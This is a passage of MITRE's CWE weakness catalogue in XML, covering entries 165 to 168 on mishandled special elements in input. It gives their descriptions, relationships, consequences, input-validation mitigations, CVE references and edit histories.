					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Internal Special
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Internal
						Special Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Internal Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="165" Name="Improper Neutralization of Multiple Internal Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes multiple internal special
					elements that could be interpreted in unexpected ways when they are sent to a
					downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, improperly handled multiple internal special elements
						may cause the process to take unexpected actions that result in an
						attack.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>164</Relationship_Target_ID>
					          <!--Improper Neutralization of Internal Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that multiple internal special elements
							will be injected/removed/manipulated in the input vectors of their
							software system. Use an appropriate combination of black lists and white
							lists to ensure only valid, expected and appropriate input is processed
							by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Internal Special Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Multiple Internal Special
						Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Multiple
						Internal Special Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Multiple Internal Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="166" Name="Improper Handling of Missing Special Element" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not handle or incorrectly handles when an expected special element is
					missing.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>159</Relationship_Target_ID>
					          <!--Failure to Sanitize Special Element-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that special elements will be removed in
							the input vectors of their software system. Use an appropriate
							combination of black lists and white lists to ensure only valid,
							expected and appropriate input is processed by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1362</Observed_Example_Reference>
					          <Observed_Example_Description>Crash via message type without separator
						character</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0729</Observed_Example_Reference>
					          <Observed_Example_Description>Missing special character (separator) causes
						crash</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1532</Observed_Example_Reference>
					          <Observed_Example_Description>HTTP GET without \r\n\r\n CRLF sequences causes
						product to wait indefinitely and prevents other users from accessing
						it</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Special Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Missing Special
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Handle Missing
						Special Element</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="167" Name="Improper Handling of Additional Special Element" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not handle or incorrectly handles when an additional unexpected special
					element is missing.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>159</Relationship_Target_ID>
					          <!--Failure to Sanitize Special Element-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that extra special elements will be
							injected in the input vectors of their software system. Use an
							appropriate combination of black lists and white lists to ensure only
							valid, expected and appropriate input is processed by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0116</Observed_Example_Reference>
					          <Observed_Example_Description>Extra "&lt;" in front of SCRIPT
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1157</Observed_Example_Reference>
					          <Observed_Example_Description>Extra "&lt;" in front of SCRIPT
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2086</Observed_Example_Reference>
					          <Observed_Example_Description>"&lt;script" - probably a cleansing
						error</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Extra Special Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Extra Special
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Handle Additional
						Special Element</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="168" Name="Improper Handling of Inconsistent Special Elements" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle when an inconsistency exists
					between two or more special characters or reserved words.</Description_Summary>
				        <Extended_Description>
					          <Text>An example of this problem would be if paired characters appear in the
						wrong order, or if the special characters are not properly nested.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>159</Relationship_Target_ID>
					          <!--Failure to Sanitize Special Element-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that inconsistent special elements will
							be injected/manipulated in the input vectors of their software system.
							Use an appropriate combination of black lists and white lists to ensure
							only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
